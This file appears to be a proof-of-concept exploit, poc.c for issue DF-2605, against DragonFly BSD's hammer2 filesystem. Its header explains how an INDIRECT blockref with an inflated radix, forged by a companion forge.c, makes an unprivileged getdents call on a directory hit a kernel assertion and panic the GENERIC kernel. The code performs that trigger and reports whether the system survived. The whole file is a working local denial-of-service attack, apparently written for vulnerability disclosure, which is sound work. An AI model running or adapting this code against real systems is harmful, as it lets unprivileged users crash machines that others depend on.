DF-2605 / poc.c
/* * poc.c - DF-2605 trigger: readdir into a hammer2 directory whose * INDIRECT blockref has been forged with an oversized radix. * * The forged image (produced by forge.c) contains an INDIRECT bref whose * data_off radix has been inflated (e.g. radix 17 -> bytes=128KB via the * unvalidated `1U << radix` in hammer2_chain_alloc). When the kernel * loads this chain (during readdir/getdents of any entry in the directory) * it calls hammer2_io_bread(bref->data_off, chain->bytes). The I/O layer * recomputes lsize from the same data_off radix and the KKASSERT * * KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase); * * fails for radix > 16 (lsize > HAMMER2_PBUFSIZE=64KB), panicking the * default GENERIC kernel. This is the same KKASSERT site as DF-2583 -- * DF-2605 is the upstream root-cause class (unvalidated radix in * hammer2_chain_alloc at hammer2_chain.c:189-190). * * Run as unprivileged user (maxx) on a hammer2 mount whose image was * forged by forge.c. readdir'ing the directory triggers the INDIRECT * load -> panic. * * Build: cc -O2 -o poc poc.c * Usage: ./poc <dir> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/syscall.h> /* DragonFly getdents = syscall 480 */ #ifndef SYS_getdents #define SYS_getdents 480 #endif int main(int argc, char **argv) { const char *dir; int fd, rc; ssize_t n; char buf[16384]; if (argc < 2) { fprintf(stderr, "usage: %s <dir>\n", argv[0]); return 2; } dir = argv[1]; fd = open(dir, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 1; } printf("[*] getdents(%s) -> triggers INDIRECT chain load (DF-2605)\n", dir); fflush(stdout); n = syscall(SYS_getdents, fd, buf, sizeof(buf)); rc = errno; printf("[*] getdents returned %zd (errno=%d %s)\n", n, rc, n < 0 ? strerror(rc) : "ok"); fflush(stdout); /* If we get here, the kernel did NOT panic -- either the bug was * fixed (radix rejected before the KKASSERT) or the forged radix * didn't drive a load. */ close(fd); return 0; } |